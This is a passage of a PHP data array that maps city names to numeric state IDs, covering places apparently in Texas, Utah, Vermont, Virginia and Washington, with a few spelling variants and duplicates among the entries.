['state_id' => '3970', 'name' => 'bedford'],\n ['state_id' => '3970', 'name' => 'beeville'],\n ['state_id' => '3970', 'name' => 'bellaire'],\n ['state_id' => '3970', 'name' => 'belton'],\n ['state_id' => '3970', 'name' => 'benbrook'],\n ['state_id' => '3970', 'name' => 'big spring'],\n ['state_id' => '3970', 'name' => 'bluff dale'],\n ['state_id' => '3970', 'name' => 'boerne'],\n ['state_id' => '3970', 'name' => 'borger'],\n ['state_id' => '3970', 'name' => 'breckenridge'],\n ['state_id' => '3970', 'name' => 'brenham'],\n ['state_id' => '3970', 'name' => 'brownfield'],\n ['state_id' => '3970', 'name' => 'brownsville'],\n ['state_id' => '3970', 'name' => 'brownwood'],\n ['state_id' => '3970', 'name' => 'bryan'],\n ['state_id' => '3970', 'name' => 'buda'],\n ['state_id' => '3970', 'name' => 'burkburnett'],\n ['state_id' => '3970', 'name' => 'burleson'],\n ['state_id' => '3970', 'name' => 'campbell'],\n ['state_id' => '3970', 'name' => 'canyon'],\n ['state_id' => '3970', 'name' => 'canyon lake'],\n ['state_id' => '3970', 'name' => 'carrollton'],\n ['state_id' => '3970', 'name' => 'cat spring'],\n ['state_id' => '3970', 'name' => 'cedar hill'],\n ['state_id' => '3970', 'name' => 'cedar park'],\n ['state_id' => '3970', 'name' => 'celina'],\n ['state_id' => '3970', 'name' => 'center'],\n ['state_id' => '3970', 'name' => 'channelview'],\n ['state_id' => '3970', 'name' => 'city of dallas'],\n ['state_id' => '3970', 'name' => 'cleburne'],\n ['state_id' => '3970', 'name' => 'cloverleaf'],\n ['state_id' => '3970', 'name' => 'clute'],\n ['state_id' => '3970', 'name' => 'college station'],\n ['state_id' => '3970', 'name' => 'colleyville'],\n ['state_id' => '3970', 'name' => 'columbus'],\n ['state_id' => '3970', 'name' => 'comanche'],\n ['state_id' => '3970', 'name' => 'conroe'],\n ['state_id' => '3970', 'name' => 'converse'],\n ['state_id' => '3970', 'name' => 'coppell'],\n ['state_id' => '3970', 'name' => 'copperas cove'],\n ['state_id' => '3970', 'name' => 'corinth'],\n ['state_id' => '3970', 'name' => 'corpus christi'],\n ['state_id' => '3970', 'name' => 'corsicana'],\n ['state_id' => '3970', 'name' => 'cotulla'],\n ['state_id' => '3970', 'name' => 'crandall'],\n ['state_id' => '3970', 'name' => 'cypress'],\n ['state_id' => '3970', 'name' => 'dallas'],\n ['state_id' => '3970', 'name' => 'dayton'],\n ['state_id' => '3970', 'name' => 'desoto'],\n ['state_id' => '3970', 'name' => 'deer park'],\n ['state_id' => '3970', 'name' => 'del rio'],\n ['state_id' => '3970', 'name' => 'denison'],\n ['state_id' => '3970', 'name' => 'denton'],\n ['state_id' => '3970', 'name' => 'dickinson'],\n ['state_id' => '3970', 'name' => 'donna'],\n ['state_id' => '3970', 'name' => 'dumas'],\n ['state_id' => '3970', 'name' => 'duncanville'],\n ['state_id' => '3970', 'name' => 'eagle pass'],\n ['state_id' => '3970', 'name' => 'edinburg'],\n ['state_id' => '3970', 'name' => 'el campo'],\n ['state_id' => '3970', 'name' => 'el paso'],\n ['state_id' => '3970', 'name' => 'elmendorf'],\n ['state_id' => '3970', 'name' => 'ennis'],\n ['state_id' => '3970', 'name' => 'euless'],\n ['state_id' => '3970', 'name' => 'fairfield'],\n ['state_id' => '3970', 'name' => 'farmers branch'],\n ['state_id' => '3970', 'name' => 'flower mound'],\n ['state_id' => '3970', 'name' => 'forest hill'],\n ['state_id' => '3970', 'name' => 'forney'],\n ['state_id' => '3970', 'name' => 'fort bliss'],\n ['state_id' => '3970', 'name' => 'fort hood'],\n ['state_id' => '3970', 'name' => 'fort worth'],\n ['state_id' => '3970', 'name' => 'freeport'],\n ['state_id' => '3970', 'name' => 'friendswood'],\n ['state_id' => '3970', 'name' => 'frisco'],\n ['state_id' => '3970', 'name' => 'gainesville'],\n ['state_id' => '3970', 'name' => 'galena park'],\n ['state_id' => '3970', 'name' => 'galveston'],\n ['state_id' => '3970', 'name' => 'garland'],\n ['state_id' => '3970', 'name' => 'gatesville'],\n ['state_id' => '3970', 'name' => 'georgetown'],\n ['state_id' => '3970', 'name' => 'grand prairie'],\n ['state_id' => '3970', 'name' => 'grandview'],\n ['state_id' => '3970', 'name' => 'grapeland'],\n ['state_id' => '3970', 'name' => 'grapevine'],\n ['state_id' => '3970', 'name' => 'greenville'],\n ['state_id' => '3970', 'name' => 'gregory'],\n ['state_id' => '3970', 'name' => 'groves'],\n ['state_id' => '3970', 'name' => 'haltom city'],\n ['state_id' => '3970', 'name' => 'harker heights'],\n ['state_id' => '3970', 'name' => 'harlingen'],\n ['state_id' => '3970', 'name' => 'henderson'],\n ['state_id' => '3970', 'name' => 'hereford'],\n ['state_id' => '3970', 'name' => 'hewitt'],\n ['state_id' => '3970', 'name' => 'highland village'],\n ['state_id' => '3970', 'name' => 'hillsboro'],\n ['state_id' => '3970', 'name' => 'houston'],\n ['state_id' => '3970', 'name' => 'humble'],\n ['state_id' => '3970', 'name' => 'huntsville'],\n ['state_id' => '3970', 'name' => 'hurst'],\n ['state_id' => '3970', 'name' => 'ingleside'],\n ['state_id' => '3970', 'name' => 'irving'],\n ['state_id' => '3970', 'name' => 'jacksonville'],\n ['state_id' => '3970', 'name' => 'jefferson'],\n ['state_id' => '3970', 'name' => 'jollyville'],\n ['state_id' => '3970', 'name' => 'justin'],\n ['state_id' => '3970', 'name' => 'katy'],\n ['state_id' => '3970', 'name' => 'kaufman'],\n ['state_id' => '3970', 'name' => 'keller'],\n ['state_id' => '3970', 'name' => 'kemah'],\n ['state_id' => '3970', 'name' => 'kemp'],\n ['state_id' => '3970', 'name' => 'kerrville'],\n ['state_id' => '3970', 'name' => 'kilgore'],\n ['state_id' => '3970', 'name' => 'killeen'],\n ['state_id' => '3970', 'name' => 'kingsville'],\n ['state_id' => '3970', 'name' => 'kingwood'],\n ['state_id' => '3970', 'name' => 'la marque'],\n ['state_id' => '3970', 'name' => 'la porte'],\n ['state_id' => '3970', 'name' => 'lackland air force base'],\n ['state_id' => '3970', 'name' => 'lago vista'],\n ['state_id' => '3970', 'name' => 'lake jackson'],\n ['state_id' => '3970', 'name' => 'lamesa'],\n ['state_id' => '3970', 'name' => 'lampasas'],\n ['state_id' => '3970', 'name' => 'lancaster'],\n ['state_id' => '3970', 'name' => 'laredo'],\n ['state_id' => '3970', 'name' => 'league city'],\n ['state_id' => '3970', 'name' => 'leon valley'],\n ['state_id' => '3970', 'name' => 'levelland'],\n ['state_id' => '3970', 'name' => 'lewisville'],\n ['state_id' => '3970', 'name' => 'liberty hill'],\n ['state_id' => '3970', 'name' => 'lindsay'],\n ['state_id' => '3970', 'name' => 'little elm'],\n ['state_id' => '3970', 'name' => 'live oak'],\n ['state_id' => '3970', 'name' => 'llano'],\n ['state_id' => '3970', 'name' => 'lockhart'],\n ['state_id' => '3970', 'name' => 'longview'],\n ['state_id' => '3970', 'name' => 'lubbock'],\n ['state_id' => '3970', 'name' => 'lufkin'],\n ['state_id' => '3970', 'name' => 'lumberton'],\n ['state_id' => '3970', 'name' => 'macallen'],\n ['state_id' => '3970', 'name' => 'mackinney'],\n ['state_id' => '3970', 'name' => 'magnolia'],\n ['state_id' => '3970', 'name' => 'malakoff'],\n ['state_id' => '3970', 'name' => 'mansfield'],\n ['state_id' => '3970', 'name' => 'marshall'],\n ['state_id' => '3970', 'name' => 'mcallen'],\n ['state_id' => '3970', 'name' => 'mckinney'],\n ['state_id' => '3970', 'name' => 'medina'],\n ['state_id' => '3970', 'name' => 'mercedes'],\n ['state_id' => '3970', 'name' => 'mesquite'],\n ['state_id' => '3970', 'name' => 'midland'],\n ['state_id' => '3970', 'name' => 'mineral wells'],\n ['state_id' => '3970', 'name' => 'mission'],\n ['state_id' => '3970', 'name' => 'mission bend'],\n ['state_id' => '3970', 'name' => 'missouri city'],\n ['state_id' => '3970', 'name' => 'montgomery'],\n ['state_id' => '3970', 'name' => 'mount pleasant'],\n ['state_id' => '3970', 'name' => 'murphy'],\n ['state_id' => '3970', 'name' => 'nacogdoches'],\n ['state_id' => '3970', 'name' => 'nederland'],\n ['state_id' => '3970', 'name' => 'new braunfels'],\n ['state_id' => '3970', 'name' => 'new caney'],\n ['state_id' => '3970', 'name' => 'north richland hills'],\n ['state_id' => '3970', 'name' => 'north zulch'],\n ['state_id' => '3970', 'name' => 'odessa'],\n ['state_id' => '3970', 'name' => 'orange'],\n ['state_id' => '3970', 'name' => 'ovalo'],\n ['state_id' => '3970', 'name' => 'palestine'],\n ['state_id' => '3970', 'name' => 'pampa'],\n ['state_id' => '3970', 'name' => 'paris'],\n ['state_id' => '3970', 'name' => 'pasadena'],\n ['state_id' => '3970', 'name' => 'pearland'],\n ['state_id' => '3970', 'name' => 'pecan grove'],\n ['state_id' => '3970', 'name' => 'pecos'],\n ['state_id' => '3970', 'name' => 'pflugerville'],\n ['state_id' => '3970', 'name' => 'pharr'],\n ['state_id' => '3970', 'name' => 'pinehurst'],\n ['state_id' => '3970', 'name' => 'plainview'],\n ['state_id' => '3970', 'name' => 'plano'],\n ['state_id' => '3970', 'name' => 'pontotoc'],\n ['state_id' => '3970', 'name' => 'port arthur'],\n ['state_id' => '3970', 'name' => 'port lavaca'],\n ['state_id' => '3970', 'name' => 'port neches'],\n ['state_id' => '3970', 'name' => 'portland'],\n ['state_id' => '3970', 'name' => 'pottsboro'],\n ['state_id' => '3970', 'name' => 'princeton'],\n ['state_id' => '3970', 'name' => 'richardson'],\n ['state_id' => '3970', 'name' => 'richmond'],\n ['state_id' => '3970', 'name' => 'rio grande city'],\n ['state_id' => '3970', 'name' => 'robstown'],\n ['state_id' => '3970', 'name' => 'rockport'],\n ['state_id' => '3970', 'name' => 'rockwall'],\n ['state_id' => '3970', 'name' => 'roma'],\n ['state_id' => '3970', 'name' => 'rosenberg'],\n ['state_id' => '3970', 'name' => 'round rock'],\n ['state_id' => '3970', 'name' => 'rowlett'],\n ['state_id' => '3970', 'name' => 'royse city'],\n ['state_id' => '3970', 'name' => 'sachse'],\n ['state_id' => '3970', 'name' => 'saginaw'],\n ['state_id' => '3970', 'name' => 'san angelo'],\n ['state_id' => '3970', 'name' => 'san antonio'],\n ['state_id' => '3970', 'name' => 'san benito'],\n ['state_id' => '3970', 'name' => 'san juan'],\n ['state_id' => '3970', 'name' => 'san marcos'],\n ['state_id' => '3970', 'name' => 'santa fe'],\n ['state_id' => '3970', 'name' => 'schertz'],\n ['state_id' => '3970', 'name' => 'seabrook'],\n ['state_id' => '3970', 'name' => 'seagoville'],\n ['state_id' => '3970', 'name' => 'seguin'],\n ['state_id' => '3970', 'name' => 'sherman'],\n ['state_id' => '3970', 'name' => 'slaton'],\n ['state_id' => '3970', 'name' => 'smithville'],\n ['state_id' => '3970', 'name' => 'snyder'],\n ['state_id' => '3970', 'name' => 'socorro'],\n ['state_id' => '3970', 'name' => 'south houston'],\n ['state_id' => '3970', 'name' => 'south padre island'],\n ['state_id' => '3970', 'name' => 'southlake'],\n ['state_id' => '3970', 'name' => 'spring'],\n ['state_id' => '3970', 'name' => 'stafford'],\n ['state_id' => '3970', 'name' => 'stephenville'],\n ['state_id' => '3970', 'name' => 'strawn'],\n ['state_id' => '3970', 'name' => 'sugar land'],\n ['state_id' => '3970', 'name' => 'sulphur springs'],\n ['state_id' => '3970', 'name' => 'sweetwater'],\n ['state_id' => '3970', 'name' => 'taylor'],\n ['state_id' => '3970', 'name' => 'temple'],\n ['state_id' => '3970', 'name' => 'terrell'],\n ['state_id' => '3970', 'name' => 'texarkana'],\n ['state_id' => '3970', 'name' => 'texas city'],\n ['state_id' => '3970', 'name' => 'the colony'],\n ['state_id' => '3970', 'name' => 'the woodlands'],\n ['state_id' => '3970', 'name' => 'tomball'],\n ['state_id' => '3970', 'name' => 'tyler'],\n ['state_id' => '3970', 'name' => 'universal city'],\n ['state_id' => '3970', 'name' => 'university park'],\n ['state_id' => '3970', 'name' => 'uvalde'],\n ['state_id' => '3970', 'name' => 'vernon'],\n ['state_id' => '3970', 'name' => 'victoria'],\n ['state_id' => '3970', 'name' => 'vidor'],\n ['state_id' => '3970', 'name' => 'waco'],\n ['state_id' => '3970', 'name' => 'watauga'],\n ['state_id' => '3970', 'name' => 'waxahachie'],\n ['state_id' => '3970', 'name' => 'weatherford'],\n ['state_id' => '3970', 'name' => 'weslaco'],\n ['state_id' => '3970', 'name' => 'west odessa'],\n ['state_id' => '3970', 'name' => 'west university place'],\n ['state_id' => '3970', 'name' => 'white settlement'],\n ['state_id' => '3970', 'name' => 'wichita falls'],\n ['state_id' => '3970', 'name' => 'winnsboro'],\n ['state_id' => '3970', 'name' => 'woodway'],\n ['state_id' => '3970', 'name' => 'wylie'],\n ['state_id' => '3970', 'name' => 'yoakum'],\n ['state_id' => '3970', 'name' => 'austinn'],\n ['state_id' => '3971', 'name' => 'bedford kentucky'],\n ['state_id' => '3972', 'name' => 'alpine'],\n ['state_id' => '3972', 'name' => 'american fork'],\n ['state_id' => '3972', 'name' => 'bluffdale'],\n ['state_id' => '3972', 'name' => 'bountiful'],\n ['state_id' => '3972', 'name' => 'brigham city'],\n ['state_id' => '3972', 'name' => 'canyon rim'],\n ['state_id' => '3972', 'name' => 'castle dale'],\n ['state_id' => '3972', 'name' => 'cedar city'],\n ['state_id' => '3972', 'name' => 'centerville'],\n ['state_id' => '3972', 'name' => 'clearfield'],\n ['state_id' => '3972', 'name' => 'clinton'],\n ['state_id' => '3972', 'name' => 'cottonwood heights'],\n ['state_id' => '3972', 'name' => 'cottonwood west'],\n ['state_id' => '3972', 'name' => 'draper'],\n ['state_id' => '3972', 'name' => 'east millcreek'],\n ['state_id' => '3972', 'name' => 'farmington'],\n ['state_id' => '3972', 'name' => 'holladay-cottonwood'],\n ['state_id' => '3972', 'name' => 'ivins'],\n ['state_id' => '3972', 'name' => 'kaysville'],\n ['state_id' => '3972', 'name' => 'kearns'],\n ['state_id' => '3972', 'name' => 'layton'],\n ['state_id' => '3972', 'name' => 'lehi'],\n ['state_id' => '3972', 'name' => 'logan'],\n ['state_id' => '3972', 'name' => 'magna'],\n ['state_id' => '3972', 'name' => 'mapleton'],\n ['state_id' => '3972', 'name' => 'midvale'],\n ['state_id' => '3972', 'name' => 'millcreek'],\n ['state_id' => '3972', 'name' => 'moab'],\n ['state_id' => '3972', 'name' => 'monticello'],\n ['state_id' => '3972', 'name' => 'murray'],\n ['state_id' => '3972', 'name' => 'north logan'],\n ['state_id' => '3972', 'name' => 'north ogden'],\n ['state_id' => '3972', 'name' => 'ogden'],\n ['state_id' => '3972', 'name' => 'orem'],\n ['state_id' => '3972', 'name' => 'panguitch'],\n ['state_id' => '3972', 'name' => 'park city'],\n ['state_id' => '3972', 'name' => 'payson'],\n ['state_id' => '3972', 'name' => 'pleasant grove'],\n ['state_id' => '3972', 'name' => 'provo'],\n ['state_id' => '3972', 'name' => 'riverton'],\n ['state_id' => '3972', 'name' => 'roy'],\n ['state_id' => '3972', 'name' => 'saint george'],\n ['state_id' => '3972', 'name' => 'salt lake city'],\n ['state_id' => '3972', 'name' => 'sandy'],\n ['state_id' => '3972', 'name' => 'santaquin'],\n ['state_id' => '3972', 'name' => 'south jordan'],\n ['state_id' => '3972', 'name' => 'south ogden'],\n ['state_id' => '3972', 'name' => 'south salt lake'],\n ['state_id' => '3972', 'name' => 'spanish fork'],\n ['state_id' => '3972', 'name' => 'springville'],\n ['state_id' => '3972', 'name' => 'taylorsville'],\n ['state_id' => '3972', 'name' => 'tooele'],\n ['state_id' => '3972', 'name' => 'tremonton'],\n ['state_id' => '3972', 'name' => 'union'],\n ['state_id' => '3972', 'name' => 'washington'],\n ['state_id' => '3972', 'name' => 'west jordan'],\n ['state_id' => '3972', 'name' => 'west valley city'],\n ['state_id' => '3972', 'name' => 'woods cross'],\n ['state_id' => '3973', 'name' => 'barre'],\n ['state_id' => '3973', 'name' => 'bennington'],\n ['state_id' => '3973', 'name' => 'brattleboro'],\n ['state_id' => '3973', 'name' => 'bristol'],\n ['state_id' => '3973', 'name' => 'burlington'],\n ['state_id' => '3973', 'name' => 'cabot'],\n ['state_id' => '3973', 'name' => 'colchester'],\n ['state_id' => '3973', 'name' => 'danville'],\n ['state_id' => '3973', 'name' => 'dorset'],\n ['state_id' => '3973', 'name' => 'dummerston'],\n ['state_id' => '3973', 'name' => 'east corinth'],\n ['state_id' => '3973', 'name' => 'east fairfield'],\n ['state_id' => '3973', 'name' => 'east randolph'],\n ['state_id' => '3973', 'name' => 'essex'],\n ['state_id' => '3973', 'name' => 'essex junction'],\n ['state_id' => '3973', 'name' => 'grand isle'],\n ['state_id' => '3973', 'name' => 'hartford'],\n ['state_id' => '3973', 'name' => 'jericho'],\n ['state_id' => '3973', 'name' => 'manchester'],\n ['state_id' => '3973', 'name' => 'manchester center'],\n ['state_id' => '3973', 'name' => 'middlebury'],\n ['state_id' => '3973', 'name' => 'milton'],\n ['state_id' => '3973', 'name' => 'montpelier'],\n ['state_id' => '3973', 'name' => 'putney'],\n ['state_id' => '3973', 'name' => 'randolph'],\n ['state_id' => '3973', 'name' => 'rochester'],\n ['state_id' => '3973', 'name' => 'rutland'],\n ['state_id' => '3973', 'name' => 'saint albans'],\n ['state_id' => '3973', 'name' => 'saint johnsbury'],\n ['state_id' => '3973', 'name' => 'saxtons river'],\n ['state_id' => '3973', 'name' => 'south burlington'],\n ['state_id' => '3973', 'name' => 'south strafford'],\n ['state_id' => '3973', 'name' => 'springfield'],\n ['state_id' => '3973', 'name' => 'townshend'],\n ['state_id' => '3973', 'name' => 'tunbridge'],\n ['state_id' => '3973', 'name' => 'van'],\n ['state_id' => '3973', 'name' => 'vernon'],\n ['state_id' => '3973', 'name' => 'wallingford'],\n ['state_id' => '3973', 'name' => 'watisfield'],\n ['state_id' => '3973', 'name' => 'west brookfield'],\n ['state_id' => '3973', 'name' => 'west charleston'],\n ['state_id' => '3973', 'name' => 'west newbury'],\n ['state_id' => '3973', 'name' => 'williston'],\n ['state_id' => '3973', 'name' => 'winooski'],\n ['state_id' => '3974', 'name' => 'abingdon'],\n ['state_id' => '3974', 'name' => 'alexandria'],\n ['state_id' => '3974', 'name' => 'annandale'],\n ['state_id' => '3974', 'name' => 'arlington'],\n ['state_id' => '3974', 'name' => 'ashburn'],\n ['state_id' => '3974', 'name' => 'ashland'],\n ['state_id' => '3974', 'name' => 'aylett'],\n ['state_id' => '3974', 'name' => 'bailey\\'s crossroads'],\n ['state_id' => '3974', 'name' => 'blacksburg'],\n ['state_id' => '3974', 'name' => 'bland'],\n ['state_id' => '3974', 'name' => 'bluefield'],\n ['state_id' => '3974', 'name' => 'bon air'],\n ['state_id' => '3974', 'name' => 'bristol'],\n ['state_id' => '3974', 'name' => 'burke'],\n ['state_id' => '3974', 'name' => 'cave spring'],\n ['state_id' => '3974', 'name' => 'centreville'],\n ['state_id' => '3974', 'name' => 'chantilly'],\n ['state_id' => '3974', 'name' => 'charlottesville'],\n ['state_id' => '3974', 'name' => 'chesapeake'],\n ['state_id' => '3974', 'name' => 'chester'],\n ['state_id' => '3974', 'name' => 'christiansburg'],\n ['state_id' => '3974', 'name' => 'churchville'],\n ['state_id' => '3974', 'name' => 'clifton'],\n ['state_id' => '3974', 'name' => 'colonial heights'],\n ['state_id' => '3974', 'name' => 'culloden'],\n ['state_id' => '3974', 'name' => 'dale city'],\n ['state_id' => '3974', 'name' => 'danville'],\n ['state_id' => '3974', 'name' => 'dublin'],\n ['state_id' => '3974', 'name' => 'eagle rock'],\n ['state_id' => '3974', 'name' => 'east highland park'],\n ['state_id' => '3974', 'name' => 'faber'],\n ['state_id' => '3974', 'name' => 'fairfax'],\n ['state_id' => '3974', 'name' => 'falls church'],\n ['state_id' => '3974', 'name' => 'fishersville'],\n ['state_id' => '3974', 'name' => 'fort hunt'],\n ['state_id' => '3974', 'name' => 'fort valley'],\n ['state_id' => '3974', 'name' => 'franconia'],\n ['state_id' => '3974', 'name' => 'franklin'],\n ['state_id' => '3974', 'name' => 'fredericksburg'],\n ['state_id' => '3974', 'name' => 'front royal'],\n ['state_id' => '3974', 'name' => 'gainesville'],\n ['state_id' => '3974', 'name' => 'glen allen'],\n ['state_id' => '3974', 'name' => 'gloucester'],\n ['state_id' => '3974', 'name' => 'goochland'],\n ['state_id' => '3974', 'name' => 'great falls'],\n ['state_id' => '3974', 'name' => 'groveton'],\n ['state_id' => '3974', 'name' => 'hampton'],\n ['state_id' => '3974', 'name' => 'harrisonburg'],\n ['state_id' => '3974', 'name' => 'henrico'],\n ['state_id' => '3974', 'name' => 'herndon'],\n ['state_id' => '3974', 'name' => 'highland springs'],\n ['state_id' => '3974', 'name' => 'hollins'],\n ['state_id' => '3974', 'name' => 'hopewell'],\n ['state_id' => '3974', 'name' => 'hybla valley'],\n ['state_id' => '3974', 'name' => 'idylwood'],\n ['state_id' => '3974', 'name' => 'irvington'],\n ['state_id' => '3974', 'name' => 'jamesville'],\n ['state_id' => '3974', 'name' => 'jefferson'],\n ['state_id' => '3974', 'name' => 'keen mountain'],\n ['state_id' => '3974', 'name' => 'keswick'],\n ['state_id' => '3974', 'name' => 'lake ridge'],\n ['state_id' => '3974', 'name' => 'lakeside'],\n ['state_id' => '3974', 'name' => 'laurel'],\n ['state_id' => '3974', 'name' => 'leesburg'],\n ['state_id' => '3974', 'name' => 'lincolnia'],\n ['state_id' => '3974', 'name' => 'lorton'],\n ['state_id' => '3974', 'name' => 'lynchburg'],\n ['state_id' => '3974', 'name' => 'maclean'],\n ['state_id' => '3974', 'name' => 'madison'],\n ['state_id' => '3974', 'name' => 'madison heights'],\n ['state_id' => '3974', 'name' => 'manassas'],\n ['state_id' => '3974', 'name' => 'marion'],\n ['state_id' => '3974', 'name' => 'martinsville'],\n ['state_id' => '3974', 'name' => 'mclean'],\n ['state_id' => '3974', 'name' => 'mechanicsville'],\n ['state_id' => '3974', 'name' => 'melfa'],\n ['state_id' => '3974', 'name' => 'midlothian'],\n ['state_id' => '3974', 'name' => 'montclair'],\n ['state_id' => '3974', 'name' => 'montross'],\n ['state_id' => '3974', 'name' => 'mount vernon'],\n ['state_id' => '3974', 'name' => 'newington'],\n ['state_id' => '3974', 'name' => 'newport news'],\n ['state_id' => '3974', 'name' => 'norfolk'],\n ['state_id' => '3974', 'name' => 'north springfield'],\n ['state_id' => '3974', 'name' => 'oakton'],\n ['state_id' => '3974', 'name' => 'orange'],\n ['state_id' => '3974', 'name' => 'petersburg'],\n ['state_id' => '3974', 'name' => 'poquoson'],\n ['state_id' => '3974', 'name' => 'portsmouth'],\n ['state_id' => '3974', 'name' => 'radford'],\n ['state_id' => '3974', 'name' => 'reston'],\n ['state_id' => '3974', 'name' => 'richmond'],\n ['state_id' => '3974', 'name' => 'roanoke'],\n ['state_id' => '3974', 'name' => 'rose hill'],\n ['state_id' => '3974', 'name' => 'salem'],\n ['state_id' => '3974', 'name' => 'seaford'],\n ['state_id' => '3974', 'name' => 'south boston'],\n ['state_id' => '3974', 'name' => 'springfield'],\n ['state_id' => '3974', 'name' => 'stafford'],\n ['state_id' => '3974', 'name' => 'staffordshire'],\n ['state_id' => '3974', 'name' => 'staunton'],\n ['state_id' => '3974', 'name' => 'sterling'],\n ['state_id' => '3974', 'name' => 'suffolk'],\n ['state_id' => '3974', 'name' => 'sugarland run'],\n ['state_id' => '3974', 'name' => 'tappahannock'],\n ['state_id' => '3974', 'name' => 'timberlake'],\n ['state_id' => '3974', 'name' => 'triangle'],\n ['state_id' => '3974', 'name' => 'tuckahoe'],\n ['state_id' => '3974', 'name' => 'tysons corner'],\n ['state_id' => '3974', 'name' => 'vienna'],\n ['state_id' => '3974', 'name' => 'virginia beach'],\n ['state_id' => '3974', 'name' => 'warrenton'],\n ['state_id' => '3974', 'name' => 'washington'],\n ['state_id' => '3974', 'name' => 'waterford'],\n ['state_id' => '3974', 'name' => 'waynesboro'],\n ['state_id' => '3974', 'name' => 'west springfield'],\n ['state_id' => '3974', 'name' => 'williamsburg'],\n ['state_id' => '3974', 'name' => 'winchester'],\n ['state_id' => '3974', 'name' => 'wolf trap'],\n ['state_id' => '3974', 'name' => 'woodbridge'],\n ['state_id' => '3974', 'name' => 'wytheville'],\n ['state_id' => '3974', 'name' => 'yorktown'],\n ['state_id' => '3975', 'name' => 'aberdeen'],\n ['state_id' => '3975', 'name' => 'airway heights'],\n ['state_id' => '3975', 'name' => 'alderwood manor'],\n ['state_id' => '3975', 'name' => 'anacortes'],\n ['state_id' => '3975', 'name' => 'arlington'],\n ['state_id' => '3975', 'name' => 'auburn'],\n ['state_id' => '3975', 'name' => 'bainbridge island'],\n ['state_id' => '3975', 'name' => 'battle ground'],\n ['state_id' => '3975', 'name' => 'bellevue'],\n ['state_id' => '3975', 'name' => 'bellingham'],\n ['state_id' => '3975', 'name' => 'bingen'],\n ['state_id' => '3975', 'name' => 'blaine'],\n ['state_id' => '3975', 'name' => 'bothell'],\n ['state_id' => '3975', 'name' => 'bremerton'],\n ['state_id' => '3975', 'name' => 'bryn mawr-skyway'],\n ['state_id' => '3975', 'name' => 'buckley'],\n ['state_id' => '3975', 'name' => 'burien'],\n ['state_id' => '3975', 'name' => 'burlington'],\n ['state_id' => '3975', 'name' => 'camano island'],\n ['state_id' => '3975', 'name' => 'camas'],\n ['state_id' => '3975', 'name' => 'cascade-fairwood'],\n ['state_id' => '3975', 'name' => 'centralia'],\n ['state_id' => '3975', 'name' => 'chehalis'],\n ['state_id' => '3975', 'name' => 'cheney'],\n ['state_id' => '3975', 'name' => 'clear lake'],\n ['state_id' => '3975', 'name' => 'colbert'],\n ['state_id' => '3975', 'name' => 'cottage lake'],\n ['state_id' => '3975', 'name' => 'covington-sawyer-wilderness'],\n ['state_id' => '3975', 'name' => 'des moines'],\n ['state_id' => '3975', 'name' => 'duvall'],\n ['state_id' => '3975', 'name' => 'east hill-meridian'],\n ['state_id' => '3975', 'name' => 'east renton highlands'],\n ['state_id' => '3975', 'name' => 'east wenatchee bench'],\n ['state_id' => '3975', 'name' => 'eastsound'],\n ['state_id' => '3975', 'name' => 'eatonville'],\n ['state_id' => '3975', 'name' => 'edgewood-north hill'],\n ['state_id' => '3975', 'name' => 'edmonds'],\n ['state_id' => '3975', 'name' => 'elk plain'],\n ['state_id' => '3975', 'name' => 'ellensburg'],\n ['state_id' => '3975', 'name' => 'enumclaw'],\n ['state_id' => '3975', 'name' => 'esperance'],\n ['state_id' => '3975', 'name' => 'everett'],\n ['state_id' => '3975', 'name' => 'evergreen'],\n ['state_id' => '3975', 'name' => 'fairchild'],\n ['state_id' => '3975', 'name' => 'federal way'],\n ['state_id' => '3975', 'name' => 'ferndale'],\n ['state_id' => '3975', 'name' => 'fircrest'],\n ['state_id' => '3975', 'name' => 'ford'],\n ['state_id' => '3975', 'name' => 'fort lewis'],\n ['state_id' => '3975', 'name' => 'friday harbor'],\n ['state_id' => '3975', 'name' => 'gig harbor'],\n ['state_id' => '3975', 'name' => 'graham'],\n ['state_id' => '3975', 'name' => 'harbour pointe'],\n ['state_id' => '3975', 'name' => 'inglewood-finn hill'],\n ['state_id' => '3975', 'name' => 'issaquah'],\n ['state_id' => '3975', 'name' => 'kelso'],\n ['state_id' => '3975', 'name' => 'kenmore'],\n ['state_id' => '3975', 'name' => 'kennewick'],\n ['state_id' => '3975', 'name' => 'kent'],\n ['state_id' => '3975', 'name' => 'kingsgate'],\n ['state_id' => '3975', 'name' => 'kirkland'],\n ['state_id' => '3975', 'name' => 'lacey'],\n ['state_id' => '3975', 'name' => 'lake serene-north lynnwood'],\n ['state_id' => '3975', 'name' => 'lakeland north'],\n ['state_id' => '3975', 'name' => 'lakeland south'],\n ['state_id' => '3975', 'name' => 'lakewood'],\n ['state_id' => '3975', 'name' => 'longview'],\n ['state_id' => '3975', 'name' => 'lynnwood'],\n ['state_id' => '3975', 'name' => 'martha lake'],\n ['state_id' => '3975', 'name' => 'marysville'],\n ['state_id' => '3975', 'name' => 'mercer island'],\n ['state_id' => '3975', 'name' => 'minnehaha'],\n ['state_id' => '3975', 'name' => 'monroe'],\n ['state_id' => '3975', 'name' => 'moses lake'],\n ['state_id' => '3975', 'name' => 'mossyrock'],\n ['state_id' => '3975', 'name' => 'mount vernon'],\n ['state_id' => '3975', 'name' => 'mountlake terrace'],\n ['state_id' => '3975', 'name' => 'mukilteo'],\n ['state_id' => '3975', 'name' => 'newport hills'],\n ['state_id' => '3975', 'name' => 'north city-ridgecrest'],\n ['state_id' => '3975', 'name' => 'north creek'],\n ['state_id' => '3975', 'name' => 'north marysville'],\n ['state_id' => '3975', 'name' => 'oak harbor'],\n ['state_id' => '3975', 'name' => 'ocean shores'],\n ['state_id' => '3975', 'name' => 'olympia'],\n ['state_id' => '3975', 'name' => 'opportunity'],\n ['state_id' => '3975', 'name' => 'orchards south'],\n ['state_id' => '3975', 'name' => 'orting'],\n ['state_id' => '3975', 'name' => 'paine field-lake stickney'],\n ['state_id' => '3975', 'name' => 'parkland'],\n ['state_id' => '3975', 'name' => 'pasco'],\n ['state_id' => '3975', 'name' => 'picnic point-north lynnwood'],\n ['state_id' => '3975', 'name' => 'pine lake'],\n ['state_id' => '3975', 'name' => 'port angeles'],\n ['state_id' => '3975', 'name' => 'port hadlock'],\n ['state_id' => '3975', 'name' => 'port ludlow'],\n ['state_id' => '3975', 'name' => 'port orchard'],\n ['state_id' => '3975', 'name' => 'poulsbo'],\n ['state_id' => '3975', 'name' => 'pullman'],\n ['state_id' => '3975', 'name' => 'puyallup'],\n ['state_id' => '3975', 'name' => 'redmond'],\n ['state_id' => '3975', 'name' => 'renton'],\n ['state_id' => '3975', 'name' => 'republic'],\n ['state_id' => '3975', 'name' => 'richland'],\n ['state_id' => '3975', 'name' => 'riverton-boulevard park'],\n 